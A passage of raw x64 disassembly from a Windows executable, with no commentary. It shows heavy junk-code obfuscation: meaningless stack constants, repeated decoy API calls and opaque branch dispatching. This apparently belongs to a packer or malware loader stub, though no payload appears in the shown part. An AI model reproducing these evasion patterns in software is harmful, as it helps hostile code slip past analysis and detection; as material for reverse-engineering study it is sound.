mov qword [rsp + 0x4f38], rax
mov byte [rsp + 0xcd], 0x4d
mov eax, 0x4bce
mov word [rsp + 0x7a0], ax
movabs rax, 0xd86c45225c76eea6
mov qword [rsp + 0x4f40], rax
mov eax, 0x195f
mov word [rsp + 0x7a4], ax
mov byte [rsp + 0xce], reloc.SHELL32.dll_ILClone
movabs rax, 0x7ac208f9409de10f
mov qword [rsp + 0x4f48], rax
movabs rax, 0x71301dcf6e88eddc
mov qword [rsp + 0x4f50], rax
mov dword [rsp + 0x1ed4], 0x6ac3efe3
mov dword [rsp + 0x1ed8], 0xd54671a5
mov byte [rsp + 0xcf], ILIsParent
movabs rax, 0xda7ea0932f7ed8ac
mov qword [rsp + 0x4f58], rax
movabs rax, 0x4afe6f6ceb18cb5a
mov qword [rsp + 0x4f60], rax
mov byte [rsp + 0xd0], 0x3c
mov eax, 0x51cd
mov word [rsp + 0x7a8], ax
mov eax, 0x439
mov word [rsp + 0x7ac], ax
mov dword [rsp + 0x1edc], 0x45c5b16
mov eax, 0xe00
mov word [rsp + 0x7b0], ax
movabs rax, 0xbb2e7c8843f50954
mov qword [rsp + 0x4f68], rax
mov byte [rsp + 0xd1], 0xa1
mov byte [rsp + 0xd2], ILClone
mov byte [rsp + 0xd3], 0x2d
movabs rax, 0xa47cb4352a102a9e
mov qword [rsp + 0x4f70], rax
mov byte [rsp + 0xd4], 0x7a
mov dword [rsp + 0x1ee0], 0x525d08e9
movabs rax, 0x9a044ca9085abf91
mov qword [rsp + 0x4f78], rax
movabs rax, 0x68863b19116ee9cd
mov qword [rsp + 0x4f80], rax
mov byte [rsp + 0xd5], 0x67
mov dword [rsp + 0x1ee4], 0x20694355
mov dword [rsp + 0x1ee8], 0x6b94cfc1
mov eax, 0x6e9
mov word [rsp + 0x7b4], ax
mov dword [rsp + 0x1eec], 0x6b99ebff
mov eax, 0x2666
mov word [rsp + 0x7b8], ax
mov byte [rsp + 0xd6], 0x75
mov eax, 0x1d
mov word [rsp + 0x7bc], ax
mov byte [rsp + 0xd7], 0xc2
movabs rax, 0xcc1d145d6cfa586b
mov qword [rsp + 0x4f88], rax
mov dword [rsp + 0x1ef0], 0xa3607250
mov eax, 0x44b4
mov word [rsp + 0x7c0], ax
mov eax, 0x37ed
mov word [rsp + 0x7c4], ax
mov byte [rsp + 0xd8], 0x1e
mov byte [rsp + 0xd9], 0x5b
mov eax, 0x3de7
mov word [rsp + 0x7c8], ax
mov dword [rsp + 0x1ef4], 0xed3d51cb
mov dword [rsp + 0x1ef8], 0x3c3e3856
mov byte [rsp + 0xda], 0x55
movabs rax, 0x304a154766ed27c
mov qword [rsp + 0x4f90], rax
mov eax, 0x6425
mov word [rsp + 0x7cc], ax
mov dword [rsp + 0x1efc], 0x4f9cab89
mov eax, 0x44f
mov word [rsp + 0x7d0], ax
mov eax, 0x5b3b
mov word [rsp + 0x7d4], ax
movabs rax, 0x2a2141f1ec7ba693
mov qword [rsp + 0x4f98], rax
mov byte [rsp + 0xdb], 0x54
mov byte [rsp + 0xdc], 0x43
mov byte [rsp + 0xdd], 0x5d
mov eax, 0x79c9
mov word [rsp + 0x7d8], ax
mov eax, 0xd23
mov word [rsp + 0x7dc], ax
mov eax, 0xd9d
mov word [rsp + 0x7e0], ax
mov dword [rsp + 0x1f00], 0x361eb369
mov eax, 0x36b8
mov word [rsp + 0x7e4], ax
movabs rax, 0x5f6be6679a6d11df
mov qword [rsp + 0x4fa0], rax
mov dword [rsp + 0x1f04], 0x7a0cdd
movabs rax, 0x4c4a51a6d86040f6
mov qword [rsp + 0x4fa8], rax
movabs rax, 0xb61ca091fd22f711
mov qword [rsp + 0x4fb0], rax
mov dword [rsp + 0x1f08], 0x396acc54
mov eax, 0xd23
mov word [rsp + 0x7e8], ax
movabs rax, 0xea39ccaa58ef2e5b
mov qword [rsp + 0x4fb8], rax
movabs rax, 0x780f4b70da731e1e
mov qword [rsp + 0x4fc0], rax
mov dword [rsp + 0x1f0c], 0x1c764293
mov byte [rsp + 0xde], 0x77
mov eax, 0x53c
mov word [rsp + 0x7ec], ax
mov eax, 0x7c0
mov word [rsp + 0x7f0], ax
mov dword [rsp + 0x1f10], 0x841704c7
mov eax, 0xb25
mov word [rsp + 0x7f4], ax
movabs rax, 0xfffdeedc1d7032f2
mov qword [rsp + 0x4fc8], rax
mov byte [rsp + 0xdf], 0x62
mov eax, 0x43b
mov word [rsp + 0x7f8], ax
movabs rax, 0x43b32a2a31c26837
mov qword [rsp + 0x4fd0], rax
mov eax, 0x268c
mov word [rsp + 0x7fc], ax
mov dword [rsp + 0x1f14], 0xd4fbbf49
mov eax, 0xdfc
mov word [rsp + 0x800], ax
mov eax, 0x6f5
mov word [rsp + 0x804], ax
mov dword [rsp + 0x1f18], 0x6f17ff03
mov byte [rsp + 0xe0], 3
mov eax, 0x938
mov word [rsp + 0x808], ax
movabs rax, 0x3b4af3c3647e45bf
mov qword [rsp + 0x4fd8], rax
mov eax, 0xbe5
mov word [rsp + 0x80c], ax
mov eax, 0x7e9
mov word [rsp + 0x810], ax
mov dword [rsp + 0x1f1c], 0x1caed09
mov dword [rsp + 0x1f20], 0x708004e2
mov eax, 0x427c
mov word [rsp + 0x814], ax
movabs rax, 0x1873473136258bd7
mov qword [rsp + 0x4fe0], rax
mov byte [rsp + 0xe1], 3
movabs rax, 0x320064fb21d16e13
mov qword [rsp + 0x4fe8], rax
mov eax, 0x25d
mov word [rsp + 0x818], ax
mov eax, 0x4959
mov word [rsp + 0x81c], ax
mov dword [rsp + 0x1f24], 0x74bc229a
movabs rax, 0xbdc9bd53ab1061f6
mov qword [rsp + 0x4ff0], rax
mov byte [rsp + 0xe2], 0x1c
mov dword [rsp + 0x1f28], 0x7212b5b2
mov dword [rsp + 0x1f2c], 0x5bd0a373
mov dword [rsp + 0x1f30], 0x3a50be21
mov dword [rsp + 0x1f34], 0xd9324989
mov dword [rsp + 0x1f38], 0x2951494a
mov dword [rsp + 0x1f3c], 0x68d6cf4e
mov eax, 0x49b
mov word [rsp + 0x820], ax
mov byte [rsp + 0xe3], 0x74
mov dword [rsp + 0x1f40], 0xef3dfccf
mov eax, 0x48d
mov word [rsp + 0x824], ax
mov byte [rsp + 0xe4], 2
movsx eax, byte [rsp + 0x79]
add eax, 0x69
mov byte [rsp + 0x79], al
mov dword [rsp + 0x1f44], 0x83b2
mov eax, dword [section..data]
sub eax, 0x753fb44b
mov dword [section..data], eax
mov dword [rsp + 0x1f48], 0x7ae2
movsx eax, byte [rsp + 0x79]
cmp eax, 0x64
jne 0x140002e71
movzx eax, byte [rsp + 0xe4]
or eax, 0x45
mov byte [rsp + 0xe4], al
mov dword [rsp + 0x20], 0xa9
mov r9d, 0x5b
mov r8d, 0x1f
mov edx, 0x82
mov ecx, 0x38
call fcn.1400de340
nop
jmp 0x1400dd676
lea rcx, [rsp + 0x12968]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1f4c], eax
mov dword [rsp + 0x1f50], 0xcda5
movsx eax, byte [rsp + 0x79]
shl eax, 1
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x1f50]
sub eax, 0x95
mov dword [rsp + 0x1f50], eax
movsx eax, byte [rsp + 0x79]
xor eax, 0x33
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0xe4]
add eax, 4
mov byte [rsp + 0xe4], al
lea rcx, [rsp + 0x4ff8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [section..data]
sub eax, 0xe4f041a7
mov dword [section..data], eax
movsx eax, byte [rsp + 0x79]
and eax, 5
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0xe4]
sub eax, 0x6d
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
add eax, 0xe4
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
sub eax, 0x3e
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0x79]
add eax, 0x42
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x1f54], eax
movsx eax, byte [rsp + 0x79]
shl eax, 6
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5000], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f58], eax
movsx eax, byte [rsp + 0x79]
xor eax, 0x7a
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0xe4]
sar eax, 4
mov byte [rsp + 0xe4], al
lea rcx, [rsp + 0x12998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x79]
or eax, 0x18
mov byte [rsp + 0x79], al
movsx eax, byte [rsp + 0x79]
and eax, 0x4a
mov byte [rsp + 0x79], al
mov dword [rsp + 0x167f0], 0x94
movzx eax, byte [rsp + 0xe4]
add eax, 0x6a
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
sub eax, 0x59
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5008], rax
cmp dword [rsp + 0x1f50], 0x9cc1
jae 0x140002e9c
movabs rax, 0x5920e53f0d6c3749
mov qword [rsp + 0x5010], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5018], rax
mov eax, dword [section..data]
mov dword [rsp + 0x1f5c], eax
mov dword [rsp + 0x1f60], 0xc11d
mov dword [rsp + 0x1f64], 0xc557
lea rcx, [rsp + 0x129c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
movabs rax, 0x5835f7bdc5c39c30
cmp qword [rsp + 0x5010], rax
jae 0x1400030b8
mov ecx, 0xd6
call qword [sym.imp.USER32.dll_GetSysColorBrush]
mov qword [rsp + 0x5020], rax
movzx eax, byte [rsp + 0xe4]
add eax, 0x53
mov byte [rsp + 0xe4], al
xor r8d, r8d
mov rdx, qword [rsp + 0x5028]
mov rcx, qword [rsp + 0x5030]
call qword [sym.imp.USER32.dll_InvalidateRgn]
mov dword [rsp + 0x1f68], eax
lea rcx, [rsp + 0x129c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5038], rax
mov eax, dword [rsp + 0x1f5c]
sub eax, 0xde582ea
mov dword [section..data], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5040], rax
movzx eax, byte [rsp + 0xe4]
and eax, 0xd9
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f6c], eax
movzx eax, byte [rsp + 0xe4]
add eax, 0x2e
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f58], eax
movzx eax, byte [rsp + 0xe4]
sub eax, 0x64
mov byte [rsp + 0xe4], al
movabs rax, 0xea665dda25d35b49
mov rcx, qword [rsp + 0x5010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
movzx eax, byte [rsp + 0xe4]
sub eax, 0xcc
mov byte [rsp + 0xe4], al
mov dword [rsp + 0x16890], 0x94
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f54], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1f70], eax
lea rcx, [rsp + 0x5048]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x1f5c]
xor eax, 0x25b996ca
mov dword [section..data], eax
movzx eax, byte [rsp + 0xe4]
shl eax, 1
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
or eax, 0x83
mov byte [rsp + 0xe4], al
mov eax, dword [section..data]
shr eax, 2
mov dword [rsp + 0x1f5c], eax
movabs rax, 0xd38d256058b8df2e
mov rcx, qword [rsp + 0x5010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
movzx eax, byte [rsp + 0xe4]
add eax, 0x1f
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0x79]
sub eax, 0x14
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0xe4]
add eax, 0x49
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0x79]
sub eax, 0x1c
mov byte [rsp + 0x79], al
movabs rax, 0xd849e10ddf46d374
mov rcx, qword [rsp + 0x5010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5050], rax
movzx eax, byte [rsp + 0xe4]
and eax, 0x24
mov byte [rsp + 0xe4], al
mov eax, dword [rsp + 0x1f64]
sub eax, 0xde
mov dword [rsp + 0x1f64], eax
mov eax, dword [section..data]
add eax, 0x3041b98f
mov dword [rsp + 0x1f5c], eax
movzx eax, byte [rsp + 0xe4]
add eax, 0x4a
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f58], eax
mov eax, dword [section..data]
sub eax, 0x693a472d
mov dword [rsp + 0x1f5c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f74], eax
movzx eax, byte [rsp + 0xe4]
shl eax, 1
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5058], rax
movzx eax, byte [rsp + 0xe4]
sar eax, 6
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f74], eax
cmp dword [rsp + 0x1f64], 0x9bb7
ja 0x1400030c7
mov rax, qword [rsp + 0x5010]
mov qword [rsp + 0x5060], rax
lea rcx, [rsp + 0x12968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x1f78], 0xa465
lea rax, [rsp + 0x79]
mov qword [rsp + 0x5068], rax
mov dword [rsp + 0x1f7c], 0x1067f
mov eax, dword [section..data]
mov dword [rsp + 0x1f80], eax
mov dword [rsp + 0x1f84], 0xff91
mov eax, 0x7a0
mov word [rsp + 0x828], ax
cmp dword [rsp + 0x1f78], 0x8ff8
jbe 0x140003570
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
xor eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f80]
mov ecx, dword [rsp + 0x1f5c]
or ecx, eax
mov eax, ecx
mov dword [section..data], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f54], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f88], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f74], eax
movabs rax, 0xf58ee2b0dac72227
mov rcx, qword [rsp + 0x5060]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f78]
sub eax, 0x3f
mov dword [rsp + 0x1f78], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
add eax, 0xd2
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5068]
movzx ecx, byte [rsp + 0x79]
mov byte [rax], cl
lea rcx, [rsp + 0x12998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f54], eax
movzx eax, byte [rsp + 0xe4]
add eax, 0xf7
mov byte [rsp + 0xe4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f54], eax
lea rcx, [rsp + 0x129f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x828]
sub eax, 0xbef
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1f8c], eax
mov eax, dword [rsp + 0x1f80]
mov ecx, dword [rsp + 0x1f5c]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1f80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f5c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f74], eax
jmp 0x1400033a9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f6c], eax
lea rcx, [rsp + 0x5070]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, byte [rsp + 0x79]
or eax, 0x53
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
sar eax, 4
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
shl eax, 6
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f88], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
sub eax, 0x17
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x1f88], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
and eax, 0x6f
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f90], eax
movzx eax, byte [rsp + 0xe4]
sub eax, 0xaa
mov byte [rsp + 0xe4], al
movabs rax, 0xe74ed9c925a0efd4
mov rcx, qword [rsp + 0x5060]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
mov eax, dword [rsp + 0x1f84]
add eax, 0x79
mov dword [rsp + 0x1f84], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
cmp dword [rsp + 0x1f84], 0x11187
jbe 0x140003570
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x5078], rax
mov eax, dword [rsp + 0x1f80]
mov dword [rsp + 0x1f94], eax
cmp dword [rsp + 0x1f94], 0xab0f1a05
je 0x1400dd576
cmp dword [rsp + 0x1f94], 0xbf139134
je 0x1400036f3
jmp 0x1400dd610
mov eax, dword [section..data]
mov dword [rsp + 0x1f98], eax
cmp dword [rsp + 0x1f98], 0x3b164c5f
je 0x14000371c
cmp dword [rsp + 0x1f98], 0x83e0e347
je 0x140003734
jmp 0x14000376e
movzx edx, word [rsp + 0x828]
mov rcx, qword [rsp + 0x5010]
call fcn.1400dda10
nop
jmp 0x14000376e
lea rax, [rsp + 0x1f5c]
mov qword [rsp + 0x5080], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f90], eax
movabs rax, 0x787109ab3d2c920d
mov qword [rsp + 0x5088], rax
mov dword [rsp + 0x1f9c], 0x4bf5
movsx eax, byte [rsp + 0x79]
add eax, 0x64
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x140003813
xor r8d, r8d
mov rdx, qword [rsp + 0x5090]
mov rcx, qword [rsp + 0x5098]
call qword [sym.imp.USER32.dll_UserHandleGrantAccess]
mov dword [rsp + 0x1f68], eax
movsx eax, byte [rsp + 0x79]
sub eax, 0x29
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, word [rsp + 0x828]
and eax, 0x33d
mov word [rsp + 0x828], ax
mov r8d, 0xa8
mov edx, 0x3b
mov rcx, qword [rsp + 0x50a0]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x1fa0], eax
mov r9d, dword [rsp + 0x1fa0]
mov r8, qword [rsp + 0x5010]
movzx edx, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5060]
call fcn.1400ddd30
nop
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
imul eax, dword [rsp + 0x1f5c]
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x1f80]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400dd47e
mov eax, 0x7f39
mov word [0x1400f8f90], ax
mov eax, dword [rsp + 0x1f80]
mov dword [rsp + 0x1fa4], eax
cmp dword [rsp + 0x1fa4], 0xbf139134
je 0x14000387b
cmp dword [rsp + 0x1fa4], 0xe4411794
je 0x1400dd3bd
jmp 0x1400dd476
cmp dword [rsp + 0x1fa0], 0x2f1939e7
jg 0x1400dd2e7
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x1fa8], eax
cmp dword [rsp + 0x1fa8], 0xbec69b15
je 0x1400038af
jmp 0x14000399a
movabs rax, 0x50b94755587f29a9
cmp qword [rsp + 0x5088], rax
jl 0x140003980
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
sub eax, 0xda
mov byte [rsp + 0xe4], al
movsx eax, word [0x1400f8f90]
mov dword [rsp + 0x1fac], eax
cmp dword [rsp + 0x1fac], 0x57f1
je 0x1400038fb
jmp 0x140003970
mov r9d, 0xe7
mov r8d, 0xe2
mov edx, 0xc8
mov rcx, qword [rsp + 0x50a8]
call qword [sym.imp.USER32.dll_DefDlgProcA]
mov qword [rsp + 0x50b0], rax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f5c], eax
lea rcx, [rsp + 0x16300]
call qword [sym.imp.USER32.dll_MessageBoxIndirectA]
mov dword [rsp + 0x1fb0], eax
jmp 0x14000397e
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x1fa0], eax
jmp 0x140003995
lea rcx, [rsp + 0x5088]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x1fb4], eax
jmp 0x140003a4a
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x1fb8], eax
cmp dword [rsp + 0x1fb8], 0
je 0x1400039c1
cmp dword [rsp + 0x1fb8], 0x5e25f261
je 0x1400039fb
jmp 0x140003a3f
mov rax, qword [rsp + 0x5010]
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x5088]
mov qword [rsp + 0x50c0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f90], eax
mov dword [rsp + 0x1fbc], 0x5977
jmp 0x140003a3f
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
add eax, 0x22
mov byte [rsp + 0x79], al
movzx edx, word [rsp + 0x828]
mov rcx, qword [rsp + 0x5060]
call fcn.1400dda10
nop
mov dword [rsp + 0x1fc0], 0x47d4
movzx eax, word [rsp + 0x828]
sub eax, 9
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x50b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
lea rcx, [rsp + 0x129f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50c8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x50c0]
sar rax, 0x30
mov qword [rsp + 0x5088], rax
mov dword [rsp + 0x1c3d0], 0x9c
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x50d8], rax
mov dword [rsp + 0x1c470], 0x9c
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x1fa0], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1f5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f90], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x1f6c], eax
movzx eax, word [rsp + 0x828]
shl eax, 0xd
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f80], eax
movzx eax, byte [rsp + 0xe4]
add eax, 0xa9
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movsx eax, byte [rsp + 0x79]
sub eax, 3
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x50e0], rax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe4]
add eax, 0xd2
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1f80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f5c], eax
movabs rax, 0x7473e23e400ef5b6
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x1fbc]
add eax, 0xbd
mov dword [rsp + 0x1fbc], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f58], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
sub eax, 0x3a
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x5088]
sar rax, 0x36
mov qword [rsp + 0x50c0], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1f70], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
shl eax, cl
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f80]
mov ecx, dword [rsp + 0x1f5c]
or ecx, eax
mov eax, ecx
mov dword [section..data], eax
movabs rax, 0x31d9906d3099eb47
mov rcx, qword [rsp + 0x50c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1f8c], eax
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x1fb0], eax
cmp dword [rsp + 0x1fbc], 0x8e9f
jb 0x140003a4a
lea rax, [rsp + 0x5010]
mov qword [rsp + 0x50e8], rax
movsx eax, word [0x1400f8f90]
mov dword [rsp + 0x1fc4], eax
cmp dword [rsp + 0x1fc4], 0x7f39
je 0x140003d80
jmp 0x1400dd1fa
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fc8], eax
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x50f0], rax
movsx eax, word [0x1400f8f90]
mov dword [rsp + 0x1fcc], eax
cmp dword [rsp + 0x1fcc], 0x3c3c
je 0x140003dbd
jmp 0x140003ecd
mov eax, dword [rsp + 0x1fb0]
add eax, 0x9a728cb
cmp eax, dword [rsp + 0x1fa0]
je 0x140003eac
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x1fd0], al
cmp byte [rsp + 0x1fd0], 0x32
je 0x140003e02
cmp byte [rsp + 0x1fd0], 0xc2
je 0x140003e99
jmp 0x140003eac
mov r8d, 1
mov rdx, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x50a8]
